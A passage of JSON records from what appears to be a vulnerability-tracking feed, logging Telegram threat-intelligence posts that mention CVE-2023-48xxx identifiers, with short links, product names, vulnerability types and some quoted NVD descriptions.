"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48128", "type": "seen", "source": "https://t.me/ctinow/176143", "content": "https://ift.tt/9VK6JjS\nCVE-2023-48128 Exploit", "creation_timestamp": "2024-01-30T18:17:08.000000Z"}, {"uuid": "f255ef7d-3d2a-4149-9e42-b5950d8fb460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48118", "type": "seen", "source": "https://t.me/ctinow/176133", "content": "https://ift.tt/WgDE3hB\nCVE-2023-48118 Exploit", "creation_timestamp": "2024-01-30T18:16:55.000000Z"}, {"uuid": "4420b291-5fdd-41e2-b36d-8f422e330fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48129", "type": "seen", "source": "https://t.me/ctinow/176148", "content": "https://ift.tt/jKdigny\nCVE-2023-48129 Exploit", "creation_timestamp": "2024-01-30T18:17:14.000000Z"}, {"uuid": "c518f9ac-5591-4f56-a852-1de7c1698ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48133", "type": "seen", "source": "https://t.me/ctinow/176147", "content": "https://ift.tt/sM54hwb\nCVE-2023-48133 Exploit", "creation_timestamp": "2024-01-30T18:17:13.000000Z"}, {"uuid": "0a0d0d8d-ae13-476f-a55c-5ae493569bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48135", "type": "seen", "source": "https://t.me/ctinow/176146", "content": "https://ift.tt/0BPEVD5\nCVE-2023-48135 Exploit", "creation_timestamp": "2024-01-30T18:17:11.000000Z"}, {"uuid": "b93dbe97-7a6e-4bca-8fd3-10d999f26d42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48126", "type": "seen", "source": "https://t.me/ctinow/176145", "content": "https://ift.tt/XaBCGzI\nCVE-2023-48126 Exploit", "creation_timestamp": "2024-01-30T18:17:10.000000Z"}, {"uuid": "256fcda6-3e5c-41eb-86b8-3e387ba2d20d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48127", "type": "seen", "source": "https://t.me/ctinow/176144", "content": "https://ift.tt/aGnZw5Y\nCVE-2023-48127 Exploit", "creation_timestamp": "2024-01-30T18:17:09.000000Z"}, {"uuid": "9e5ebc14-ca4a-431c-872d-6a390ca42147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48132", "type": "seen", "source": "https://t.me/ctinow/176140", "content": "https://ift.tt/BHAY391\nCVE-2023-48132 Exploit", "creation_timestamp": "2024-01-30T18:17:03.000000Z"}, {"uuid": "25e98e3e-9e30-4aa6-a946-083a940351f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4828", "type": "seen", "source": "https://t.me/cibsecurity/70407", "content": "\u203c CVE-2023-4828 \u203c\n\nAn improper check for an exceptional condition in the Insider Threat Management (ITM) Server could be used by an attacker to change the configuration of any already-registered agent so that all future agent communications are sent to an attacker-chosen URL. An attacker must first successfully obtain valid agent credentials and target agent hostname. All versions prior to 7.14.3.69 are affected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T20:23:57.000000Z"}, {"uuid": "8a10a1fb-7d6f-4ba3-9ff3-f9d2f932eea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48266", "type": "seen", "source": "https://t.me/ctinow/174905", "content": "https://ift.tt/2j5nAm8\nCVE-2023-48266 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 Network Request stack-based overflow", "creation_timestamp": "2024-01-28T11:26:44.000000Z"}, {"uuid": "217659b5-5fa9-4701-bfe7-72192d15a19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48201", "type": "seen", "source": "https://t.me/ctinow/174656", "content": "https://ift.tt/GxzSqMR\nCVE-2023-48201", "creation_timestamp": "2024-01-27T07:26:36.000000Z"}, {"uuid": "2cb4572c-f55f-46ab-bc70-d780b5c3e1ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48202", "type": "seen", "source": "https://t.me/ctinow/174657", "content": "https://ift.tt/d7FmpQk\nCVE-2023-48202", "creation_timestamp": "2024-01-27T07:26:37.000000Z"}, {"uuid": "f181f185-54f4-43d3-85ed-5cf3786815c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48259", "type": "seen", "source": "https://t.me/ctinow/174924", "content": "https://ift.tt/52McrFz\nCVE-2023-48259 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request sql injection", "creation_timestamp": "2024-01-28T12:56:26.000000Z"}, {"uuid": "199df6af-d683-44ff-b70d-0d0119f91c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48104", "type": "seen", "source": "https://t.me/ctinow/168591", "content": "https://ift.tt/PzCp9Y6\nCVE-2023-48104", "creation_timestamp": "2024-01-16T02:26:39.000000Z"}, {"uuid": "6ff7cf40-751b-4b56-af18-9620b69cbd34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4801", "type": "seen", "source": "https://t.me/cibsecurity/70402", "content": "\u203c CVE-2023-4801 \u203c\n\nAn improper certification validation vulnerability in the Insider Threat Management (ITM) Agent for MacOS could be used by an anonymous actor on an adjacent network to establish a man-in-the-middle position between the agent and the ITM server after the agent has registered. All versions prior to 7.14.3.69 are affected. Agents for Windows, Linux, and Cloud are unaffected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T20:23:50.000000Z"}, {"uuid": "d72112f7-dcf7-4921-912b-3e29ca466806", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48127", "type": "seen", "source": "https://t.me/ctinow/174036", "content": "https://ift.tt/KPgWMFY\nCVE-2023-48127", "creation_timestamp": "2024-01-26T08:31:18.000000Z"}, {"uuid": "2608793c-44af-45e7-b65b-e9eb42bba17c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48126", "type": "seen", "source": "https://t.me/ctinow/174035", "content": "https://ift.tt/qnzDb9s\nCVE-2023-48126", "creation_timestamp": "2024-01-26T08:31:16.000000Z"}, {"uuid": "a891aed2-5ad9-40cb-8289-732b1eec37cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "seen", "source": "https://t.me/ctinow/174859", "content": "https://ift.tt/GOhV7C4\nCVE-2023-48864 | SEMCMS 4.8 /web_inc.php languageID sql injection", "creation_timestamp": "2024-01-28T08:56:18.000000Z"}, {"uuid": "d0f4c7f1-b6de-49d0-a3ff-73280e1b55f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48783", "type": "seen", "source": "https://t.me/ctinow/174996", "content": "https://ift.tt/SMnpfyA\nCVE-2023-48783 | Fortinet FortiPortal up to 5.3.8/6.0.14/7.0.6/7.2.1 GET Request authorization (FG-IR-23-408)", "creation_timestamp": "2024-01-28T18:32:00.000000Z"}, {"uuid": "1da08024-ceaa-49f2-ad3c-72e77bb7406f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48728", "type": "seen", "source": "https://t.me/ctinow/174940", "content": "https://ift.tt/ALDivbx\nCVE-2023-48728 | WWBN AVideo 11.6 HTTP Request functiongetOpenGraph cross site scripting (TALOS-2023-1883)", "creation_timestamp": "2024-01-28T13:56:28.000000Z"}, {"uuid": "73a75be6-1e96-498f-a4e9-e70c26ec5c83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48730", "type": "seen", "source": "https://t.me/ctinow/174937", "content": "https://ift.tt/QPEc4Gs\nCVE-2023-48730 | WWBN AVideo 15fed957fb HTTP Request navbarMenuAndLogo.php cross site scripting (TALOS-2023-1882)", "creation_timestamp": "2024-01-28T13:56:24.000000Z"}, {"uuid": "0674158f-d82d-451d-95de-081aa26967d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48247", "type": "seen", "source": "https://t.me/ctinow/174893", "content": "https://ift.tt/J7H4muW\nCVE-2023-48247 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request authorization", "creation_timestamp": "2024-01-28T10:56:12.000000Z"}, {"uuid": "e3eb2811-dd89-49a6-9d02-87c5668cca06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48246", "type": "seen", "source": "https://t.me/ctinow/174891", "content": "https://ift.tt/953NDTu\nCVE-2023-48246 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request information disclosure", "creation_timestamp": "2024-01-28T10:27:02.000000Z"}, {"uuid": "d7414480-f764-4ea5-9845-d20eb0a31b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48245", "type": "seen", "source": "https://t.me/ctinow/174890", "content": "https://ift.tt/NpVwuoq\nCVE-2023-48245 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request authorization", "creation_timestamp": "2024-01-28T10:26:58.000000Z"}, {"uuid": "30b5b508-1dce-4ffc-8aed-50fcb9c18ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48248", "type": "seen", "source": "https://t.me/ctinow/174888", "content": "https://ift.tt/Eeh0s4Z\nCVE-2023-48248 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 URL cross site scripting", "creation_timestamp": "2024-01-28T10:26:56.000000Z"}, {"uuid": "8b4bcc35-e249-4f03-8201-ff43703353fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48249", "type": "seen", "source": "https://t.me/ctinow/174887", "content": "https://ift.tt/LI5s3hm\nCVE-2023-48249 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request information disclosure", "creation_timestamp": "2024-01-28T10:26:55.000000Z"}, {"uuid": "61c250a4-421b-42ff-b15a-9dc96d852b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48242", "type": "seen", "source": "https://t.me/ctinow/174886", "content": "https://ift.tt/tEdOvux\nCVE-2023-48242 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request information disclosure", "creation_timestamp": "2024-01-28T10:26:54.000000Z"}, {"uuid": "e13e51aa-b1e3-4497-b1f5-12fbc0da8585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48243", "type": "seen", "source": "https://t.me/ctinow/174885", "content": "https://ift.tt/RyohTN8\nCVE-2023-48243 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request unrestricted upload", "creation_timestamp": "2024-01-28T10:26:53.000000Z"}, {"uuid": "b69e4504-627f-4daa-8500-46ea5db291ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48135", "type": "seen", "source": "https://t.me/ctinow/174042", "content": "https://ift.tt/NuLmdtb\nCVE-2023-48135", "creation_timestamp": "2024-01-26T08:31:24.000000Z"}, {"uuid": "affd56f6-80cb-4577-81ab-27d678c98bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48133", "type": "seen", "source": "https://t.me/ctinow/174041", "content": "https://ift.tt/s2fb1oD\nCVE-2023-48133", "creation_timestamp": "2024-01-26T08:31:23.000000Z"}, {"uuid": "c58c8006-ef8f-44d9-854a-f2df9f29d0d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48132", "type": "seen", "source": "https://t.me/ctinow/174040", "content": "https://ift.tt/PqZWvS5\nCVE-2023-48132", "creation_timestamp": "2024-01-26T08:31:22.000000Z"}, {"uuid": "7712b62b-8a8a-4acb-b915-996cfbfa2fc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48131", "type": "seen", "source": "https://t.me/ctinow/174039", "content": "https://ift.tt/sCcgo7A\nCVE-2023-48131", "creation_timestamp": "2024-01-26T08:31:21.000000Z"}, {"uuid": "ce96c94a-df69-4676-9fe0-2aaf0b01c71c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48130", "type": "seen", "source": "https://t.me/ctinow/174038", "content": "https://ift.tt/f3EnKok\nCVE-2023-48130", "creation_timestamp": "2024-01-26T08:31:20.000000Z"}, {"uuid": "61a07067-2856-4ea9-bf11-b0e8faed93ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48128", "type": "seen", "source": "https://t.me/ctinow/174037", "content": "https://ift.tt/L3fOZFd\nCVE-2023-48128", "creation_timestamp": "2024-01-26T08:31:19.000000Z"}, {"uuid": "e99f6279-db89-41f4-a973-bb4bb2356f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48781", "type": "seen", "source": "https://t.me/ctinow/167277", "content": "https://ift.tt/24qAYtk\nCVE-2023-48781 | Marketing Rapel MkRapel Regiones y Ciudades de Chile para WC Plugin cross-site request forgery", "creation_timestamp": "2024-01-12T14:36:58.000000Z"}, {"uuid": "c1da96a6-d863-4562-b09b-c9be0ce68e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4813", "type": "seen", "source": "https://t.me/cibsecurity/70364", "content": "\u203c CVE-2023-4813 \u203c\n\nA flaw was found in glibc. In an uncommon situation, the gaih_inet function may use memory that has been freed, resulting in an application crash. This issue is only exploitable when the getaddrinfo function is called and the hosts database in /etc/nsswitch.conf is configured with SUCCESS=continue or SUCCESS=merge.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-14T20:56:49.000000Z"}, {"uuid": "f1b5067f-f2e7-4e57-ad0b-83ef1bde87a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48770", "type": "seen", "source": "https://t.me/ctinow/166406", "content": "https://ift.tt/5FSYTEt\nCVE-2023-48770 | Nima Saberi Aparat Plugin up to 1.7.1 on WordPress cross site scripting", "creation_timestamp": "2024-01-11T09:56:30.000000Z"}, {"uuid": "2cf53adc-ee41-4fa9-a996-4b5bfdc9df64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48771", "type": "seen", "source": "https://t.me/ctinow/166405", "content": "https://ift.tt/h6nWU8C\nCVE-2023-48771 | Bruno Aesqe Babic File Gallery Plugin up to 1.8.5.4 on WordPress cross site scripting", "creation_timestamp": "2024-01-11T09:56:29.000000Z"}, {"uuid": "2180363b-12fc-45a1-83c7-37adb36222e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48379", "type": "seen", "source": "https://t.me/ctinow/166472", "content": "https://ift.tt/Cndqki3\nCVE-2023-48379 | Softnext Mail SQR Expert up to 230330 URL Error Response server-side request forgery", "creation_timestamp": "2024-01-11T12:26:28.000000Z"}, {"uuid": "cbbfa303-d80b-4b7f-bf03-cd197d8528a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48858", "type": "seen", "source": "https://t.me/ctinow/169471", "content": "https://ift.tt/FyhBlf8\nCVE-2023-48858", "creation_timestamp": "2024-01-17T21:31:46.000000Z"}, {"uuid": "e6a3b2bc-bc41-4f28-99ac-51398b65d783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48340", "type": "seen", "source": "https://t.me/ctinow/169566", "content": "https://ift.tt/QJq06Ot\nCVE-2023-48340", "creation_timestamp": "2024-01-18T04:31:49.000000Z"}, {"uuid": "29c7812b-b2e9-4b82-8986-50abcfcce481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48339", "type": "seen", "source": "https://t.me/ctinow/169565", "content": "https://ift.tt/hE0lJFg\nCVE-2023-48339", "creation_timestamp": "2024-01-18T04:31:48.000000Z"}, {"uuid": "b20d4126-f0de-4608-9e80-75dd851c33ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48670", "type": "seen", "source": "https://t.me/ctinow/169656", "content": "https://ift.tt/CEG926X\nCVE-2023-48670 | Dell SupportAssist Client Consumer 3.14.2.45116 Installer untrusted search path (dsa-2023-468)", "creation_timestamp": "2024-01-18T10:41:33.000000Z"}, {"uuid": "595ab860-f8b7-44b3-aa8e-33b0137edccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48704", "type": "seen", "source": "https://t.me/ctinow/169643", "content": "https://ift.tt/6xF7uHJ\nCVE-2023-48704 | ClickHouse buffer overflow (GHSA-5rmf-5g48-xv63)", "creation_timestamp": "2024-01-18T10:11:31.000000Z"}, {"uuid": "335d0c1a-a41b-4c9e-ae49-5c3f24ab5c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48298", "type": "seen", "source": "https://t.me/ctinow/169609", "content": "https://ift.tt/ymH9Dp8\nCVE-2023-48298 | ClickHouse up to 23.10.2.14 Decompression integer underflow (GHSA-qw9f-qv29-8938)", "creation_timestamp": "2024-01-18T08:11:49.000000Z"}, {"uuid": "a17669c4-56a3-4916-ad94-2a374123c164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4818", "type": "seen", "source": "https://t.me/ctinow/168405", "content": "https://ift.tt/5ipcXIH\nCVE-2023-4818", "creation_timestamp": "2024-01-15T15:26:53.000000Z"}, {"uuid": "d643269f-611c-4d94-97ce-ff3a92a81538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "seen", "source": "https://t.me/ctinow/169138", "content": "https://ift.tt/MnbYzVP\nCVE-2023-48864 Exploit", "creation_timestamp": "2024-01-17T08:16:18.000000Z"}, {"uuid": "0e1a1aa6-8443-432a-9493-7a4d2f606dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/162810", "content": "https://ift.tt/EitNMu3\nCVE-2023-48795", "creation_timestamp": "2024-01-04T07:51:55.000000Z"}, {"uuid": "536d9498-f86a-417d-accc-d33eb1f60ef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48910", "type": "seen", "source": "https://t.me/ctinow/158810", "content": "https://ift.tt/wmXf8Ej\nCVE-2023-48910 | Microcks up to 1.17.1 GET Request /jobs server-side request forgery", "creation_timestamp": "2023-12-23T13:11:30.000000Z"}, {"uuid": "315a7bc7-85d1-46b4-8342-889e5fbb381b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48926", "type": "seen", "source": "https://t.me/ctinow/169023", "content": "https://ift.tt/RdCB7VF\nCVE-2023-48926", "creation_timestamp": "2024-01-16T22:26:58.000000Z"}, {"uuid": "d0b58fb2-8ab4-4ea9-b4fb-978b16e7b066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48764", "type": "seen", "source": "https://t.me/ctinow/167781", "content": "https://ift.tt/BVHY2CN\nCVE-2023-48764 | GuardGiant Brute Force Protection Plugin up to 2.2.5 on WordPress sql injection", "creation_timestamp": "2024-01-13T10:21:34.000000Z"}, {"uuid": "47389003-9bc9-4e8a-bca0-f851a0f7c615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48166", "type": "seen", "source": "https://t.me/ctinow/167625", "content": "https://ift.tt/GHNFo2a\nCVE-2023-48166", "creation_timestamp": "2024-01-13T00:26:39.000000Z"}, {"uuid": "927466ed-2d1a-4997-9f98-1f0795e17b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48114", "type": "seen", "source": "https://t.me/ctinow/168006", "content": "https://ift.tt/K9AQPUE\nCVE-2023-48114 | SmarterTools SmarterMail prior 16.x Build 8747 SVG Document unrestricted upload", "creation_timestamp": "2024-01-14T12:16:14.000000Z"}, {"uuid": "7d9ed2ee-6226-470a-b43a-ab31f1e22309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48383", "type": "seen", "source": "https://t.me/ctinow/168137", "content": "https://ift.tt/akln5yu\nCVE-2023-48383", "creation_timestamp": "2024-01-15T04:26:29.000000Z"}, {"uuid": "1d5b7fb3-3e93-4c07-91ae-40e3b8f944f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48291", "type": "seen", "source": "https://t.me/ctinow/167980", "content": "https://ift.tt/9nwlEZ5\nCVE-2023-48291 | Apache Airflow 2.7.2 Incomplete Fix CVE-2023-42792 exposure of resource", "creation_timestamp": "2024-01-14T09:36:43.000000Z"}, {"uuid": "0561def8-5171-4bb0-9e06-5f6115c16ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48116", "type": "seen", "source": "https://t.me/ctinow/168031", "content": "https://ift.tt/rEckoyO\nCVE-2023-48116 | SmarterTools SmarterMail prior 16.x Build 8747 Calendar Appointment cross site scripting", "creation_timestamp": "2024-01-14T14:11:45.000000Z"}, {"uuid": "08469cc6-2daf-4828-a513-8ca36dd18e16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48741", "type": "seen", "source": "https://t.me/ctinow/167810", "content": "https://ift.tt/KmBXahn\nCVE-2023-48741 | QuantumCloud AI ChatBot Plugin up to 4.7.8 on WordPress sql injection", "creation_timestamp": "2024-01-13T12:16:52.000000Z"}, {"uuid": "b6a60744-557d-4501-85ad-5d2e527f4235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48085", "type": "seen", "source": "https://t.me/ctinow/165843", "content": "https://ift.tt/AH9OcNh\nCVE-2023-48085 | Nagios XI up to 5.11.2 command_test.php Privilege Escalation", "creation_timestamp": "2024-01-10T15:11:44.000000Z"}, {"uuid": "385a0b63-9664-492e-bc96-5871ae4d0cf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48259", "type": "seen", "source": "https://t.me/ctinow/165813", "content": "https://ift.tt/cPnMdmR\nCVE-2023-48259", "creation_timestamp": "2024-01-10T14:31:42.000000Z"}, {"uuid": "75904e14-6377-4429-bdeb-2615ad399eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48257", "type": "seen", "source": "https://t.me/ctinow/165811", "content": "https://ift.tt/sofRbNl\nCVE-2023-48257", "creation_timestamp": "2024-01-10T14:31:39.000000Z"}, {"uuid": "85abb5ec-ccd7-4088-95f7-0828026f5e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48258", "type": "seen", "source": "https://t.me/ctinow/165812", "content": "https://ift.tt/tUqIDhx\nCVE-2023-48258", "creation_timestamp": "2024-01-10T14:31:40.000000Z"}, {"uuid": "dc522f4d-7b97-41ed-bd4c-d41ab796d664", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48256", "type": "seen", "source": "https://t.me/ctinow/165810", "content": "https://ift.tt/0W56NgV\nCVE-2023-48256", "creation_timestamp": "2024-01-10T14:31:38.000000Z"}, {"uuid": "cb6ae711-3b82-41b1-8e59-01ad8f213453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48255", "type": "seen", "source": "https://t.me/ctinow/165809", "content": "https://ift.tt/iR4Emt0\nCVE-2023-48255", "creation_timestamp": "2024-01-10T14:31:37.000000Z"}, {"uuid": "98094acc-5b96-4839-a85a-8e21007ee435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48254", "type": "seen", "source": "https://t.me/ctinow/165808", "content": "https://ift.tt/lVdh4Tr\nCVE-2023-48254", "creation_timestamp": "2024-01-10T14:31:36.000000Z"}, {"uuid": "5285e19a-ba79-4167-936d-57ce23d5c0a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48253", 